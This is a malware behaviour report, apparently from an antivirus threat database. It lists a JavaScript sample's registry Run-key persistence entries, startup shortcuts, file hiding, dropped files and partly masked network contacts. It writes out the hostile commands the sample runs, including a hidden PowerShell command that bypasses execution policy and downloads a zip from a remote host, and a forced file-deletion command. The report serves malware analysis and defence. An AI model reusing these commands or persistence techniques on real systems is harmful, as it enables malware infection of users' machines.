Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'ejdbxkifp' = '"<LS_APPDATA>\hfxor\mwbkiihb32.exe" "<LS_APPDATA>\hfxor\jwgpkje.js"'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'php0' = '"<LS_APPDATA>\php7\php.exe" "<LS_APPDATA>\php7\php.php"'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'php1' = '"<LS_APPDATA>\php7\php.exe" "<LS_APPDATA>\php7\php.php"'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'php2' = '"<LS_APPDATA>\php7\php.exe" "<LS_APPDATA>\php7\php.php"'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'php3' = '"<LS_APPDATA>\php7\php.exe" "<LS_APPDATA>\php7\php.php"'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'php4' = '"<LS_APPDATA>\php7\php.exe" "<LS_APPDATA>\php7\php.php"'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'php5' = '"<LS_APPDATA>\php7\php.exe" "<LS_APPDATA>\php7\php.php"'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'php6' = '"<LS_APPDATA>\php7\php.exe" "<LS_APPDATA>\php7\php.php"'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'php7' = '"<LS_APPDATA>\php7\php.exe" "<LS_APPDATA>\php7\php.php"'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'php8' = '"<LS_APPDATA>\php7\php.exe" "<LS_APPDATA>\php7\php.php"'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'php9' = '"<LS_APPDATA>\php7\php.exe" "<LS_APPDATA>\php7\php.php"'
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\ffptx.lnk
- %APPDATA%\microsoft\windows\start menu\programs\startup\user.lnk
Malicious functions
To complicate detection of its presence in the operating system,
forces the system hide from view:
- hidden files
Creates and executes the following
- '<LS_APPDATA>\hfxor\mwbkiihb32.exe' "<PATH_SAMPLE>.js" dsopxlasj
- '<LS_APPDATA>\hfxor\mwbkiihb32.exe' "<PATH_SAMPLE>.js" basbpv
Downloads and executes
- http://mo####moskau.com/php.zip as <ls_appdata>\php.zip
Modifies file system
Creates the following files
- <LS_APPDATA>\hfxor\jwgpkje.js
- <LS_APPDATA>\hfxor\ibhhlw
- <LS_APPDATA>\hfxor\mwbkiihb32.exe
- <LS_APPDATA>\hfxor\lkoceycpl
Deletes the following files
- <LS_APPDATA>\hfxor\lkoceycpl
Network activity
TCP
HTTP GET requests
- http://www.microsoft.com/
- http://le###ville.com/0.html
- http://mo####moskau.com/php.zip
UDP
- DNS ASK microsoft.com
- DNS ASK le###ville.com
- DNS ASK mo####moskau.com
- DNS ASK 10###git.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "<PATH_SAMPLE>.js" mtwhyqg' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c del /F /S /Q "<LS_APPDATA>\hfxor\*.exe"' (with hidden window)
- '<LS_APPDATA>\hfxor\mwbkiihb32.exe' "<PATH_SAMPLE>.js" dsopxlasj' (with hidden window)
- '<LS_APPDATA>\hfxor\mwbkiihb32.exe' "<PATH_SAMPLE>.js" basbpv' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -Command "(new-object System.Net.WebClient).DownloadFile('http://mo####moskau.com/php.zip','<LS_APPDATA>\php.zip')...' (with hidden window)
Executes the following
- '<SYSTEM32>\wscript.exe' "<PATH_SAMPLE>.js" mtwhyqg
- '<SYSTEM32>\cmd.exe' /c del /F /S /Q "<LS_APPDATA>\hfxor\*.exe"
